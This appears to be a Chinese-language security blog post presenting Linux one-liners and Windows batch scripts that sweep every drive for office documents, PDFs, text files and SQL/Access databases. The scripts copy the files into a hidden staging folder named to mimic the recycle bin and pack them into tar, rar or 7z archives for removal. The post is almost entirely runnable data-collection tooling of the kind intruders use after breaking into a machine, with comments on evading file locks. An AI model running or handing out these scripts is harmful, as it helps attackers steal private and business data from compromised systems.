文件一键打包

on under web
3 minute read

0x01 linux

linux打包命令: 1.sh 密码:0y03
(attention:without “&& echo ok”,the final tar -T xlsx.list -czf xlsx.tar.gz will fail)

-----------------content of 1.sh--------------------
mkdir /tmp/tmp && find / -name "*.doc" > /tmp/tmp/doc.list && find / -name "*.docx" > /tmp/tmp/docx.list && find / -name "*.pdf" > /tmp/tmp/pdf.list && find / -name "*.txt" > /tmp/tmp/txt.list && find / -name "*.xls" > /tmp/tmp/xls.list && find / -name "*.xlsx" > /tmp/tmp/xlsx.list && tar -T /tmp/tmp/doc.list -czf /tmp/tmp/doc.tar.gz && tar -T /tmp/tmp/docx.list -czf /tmp/tmp/docx.tar.gz && tar -T /tmp/tmp/pdf.list -czf /tmp/tmp/pdf.tar.gz && tar -T /tmp/tmp/txt.list -czf /tmp/tmp/txt.tar.gz && tar -T /tmp/tmp/xls.list -czf /tmp/tmp/xls.tar.gz && tar -T /tmp/tmp/xlsx.list -czf /tmp/tmp/xlsx.tar.gz && echo ok
--------------------end-----------------------------

--------------------根据时间-------------------
mkdir /tmp/tmp && find / -name "*.doc" -mtime -30 > /tmp/tmp/doc.list && find / -name "*.docx" -mtime -30 > /tmp/tmp/docx.list && find / -name "*.pdf" -mtime -30 > /tmp/tmp/pdf.list && find / -name "*.txt" -mtime -30 > /tmp/tmp/txt.list && find / -name "*.xls" -mtime -30 > /tmp/tmp/xls.list && find / -name "*.xlsx" -mtime -30 > /tmp/tmp/xlsx.list && tar -T /tmp/tmp/doc.list -czf /tmp/tmp/doc.tar.gz && tar -T /tmp/tmp/docx.list -czf /tmp/tmp/docx.tar.gz && tar -T /tmp/tmp/pdf.list -czf /tmp/tmp/pdf.tar.gz && tar -T /tmp/tmp/txt.list -czf /tmp/tmp/txt.tar.gz && tar -T /tmp/tmp/xls.list -czf /tmp/tmp/xls.tar.gz && tar -T /tmp/tmp/xlsx.list -czf /tmp/tmp/xlsx.tar.gz && echo ok
----------------------end----------------------
(将最近30天内修改过的文件打包)

mysql:
mkdir /tmp/tmp && find / -name "*.sql" > /tmp/tmp/tmp.list  && tar -T /tmp/tmp/tmp.list -czf /tmp/tmp/tmp.tar.gz  && echo ok

0x02 windows

windows打包(rar|7z)命令:
1.bat 密码:3lwz
time_rar.bat 密码:excd (根据不同时间打包文件)
(attention:7z.exe for x32 need a 7z.dll to performs well while 7z.exe for x64 needn’t) (rar.exe does not have the x86 or x64 isssue)

---------------content of 1.bat--------------------------
@echo off
goto :main
这是注释:(for /f "delims="的作用为取消默认的以空格等符号作为分割符
dir /s 实现了linux中的find功能,for /r path %%i in (web.conf?g) do ... 也可以实现find功能,但是自己实现时发现for /r path ...中的path只能是一个具体路径,不能是变量,这样就不能遍历全部磁盘了)
:main
set str=c d e f g h i j k l m n o p q r s t u v w x y z 

if not exist c:\recycler (
md c:\recycler
md c:\recycler\tmp
        )

if exist c:\recycler (
rd /s/q c:\recycler\tmp
md c:\recycler\tmp
        )

echo  当前硬盘的分区有: 
for %%i in (%str%) do (
if exist %%i: (echo %%i:

for /f "delims=" %%j in ('dir /b /s "%%i:\*.doc"') do (
echo "yes" | copy "%%j" c:\recycler\tmp
echo %%j >> tmp.txt
)

for /f "delims=" %%j in ('dir /b /s "%%i:\*.docx"') do (
echo "yes" | copy "%%j" c:\recycler\tmp
echo %%j >> c:\recycler\tmp\tmp.txt
)


for /f "delims=" %%j in ('dir /b /s "%%i:\*.pdf"') do (
echo "yes" | copy "%%j" c:\recycler\tmp
echo %%j >> c:\recycler\tmp\tmp.txt
)


for /f "delims=" %%j in ('dir /b /s "%%i:\*.txt"') do (
echo "yes" | copy "%%j" c:\recycler\tmp
echo %%j >> c:\recycler\tmp\tmp.txt
)


for /f "delims=" %%j in ('dir /b /s "%%i:\*.xls"') do (
echo "yes" | copy "%%j" c:\recycler\tmp
echo %%j >> c:\recycler\tmp\tmp.txt
)


for /f "delims=" %%j in ('dir /b /s "%%i:\*.xlsx"') do (
echo "yes" | copy "%%j" c:\recycler\tmp
echo %%j >> c:\recycler\tmp\tmp.txt
)


)
)

copy rar.exe c:\recycler\rar.exe
echo "y" | del rar.exe

c:\recycler\rar.exe a -k -r -s -m1 c:\recycler\tmp\tmp.rar c:\recycler\tmp\*.*
echo ok
------------------end--------------------------------

or
c:\recycler\7z a -t7z C:\recycler\tmp\test.7z C:\recycler\tmp\*.*


-------------------mysql&access.bat---------------------
@echo off
goto :main
这是注释:(for /f "delims="的作用为取消默认的以空格等符号作为分割符
mdf和ldf文件无法直接复制,需要shadow copy
dir /s 实现了linux中的find功能,for /r path %%i in (web.conf?g) do ... 也可以实现find功能,但是自己实现时发现for /r path ...中的path只能是一个具体路径,不能是变量,这样就不能遍历全部磁盘了)
:main
set str=c d e f g h i j k l m n o p q r s t u v w x y z 

if not exist c:\recycler (
md c:\recycler
md c:\recycler\tmp
        )

if exist c:\recycler (
rd /s/q c:\recycler\tmp
md c:\recycler\tmp
        )

echo  当前硬盘的分区有: 
for %%i in (%str%) do (
if exist %%i: (echo %%i:

for /f "delims=" %%j in ('dir /b /s "%%i:\*.sql"') do (
echo "yes" | copy "%%j" c:\recycler\tmp
echo %%j >> c:\recycler\tmp\tmp.txt
)

for /f "delims=" %%j in ('dir /b /s "%%i:\*.mdb"') do (
echo "yes" | copy "%%j" c:\recycler\tmp
echo %%j >> c:\recycler\tmp\tmp.txt
)

)
)

copy rar.exe c:\recycler\rar.exe
echo "y" | del rar.exe

c:\recycler\rar.exe a -k -r -s -m1 c:\recycler\tmp\tmp.rar c:\recycler\tmp\*.*
echo ok
---------------------end-------------------------


附加命令
----------------------update----------------------
windows找文件命令:
for /f %j in ('dir /b /s "c:\MSCOMCTL.O?X"') do (echo %j)
windows找文件中的字符串命令:
findstr /R ".*sa.*" c:\1\* > tmp.txt
----------------------end-------------------------
windows, dir /s, sh, 7z, tar
home
github
archive
category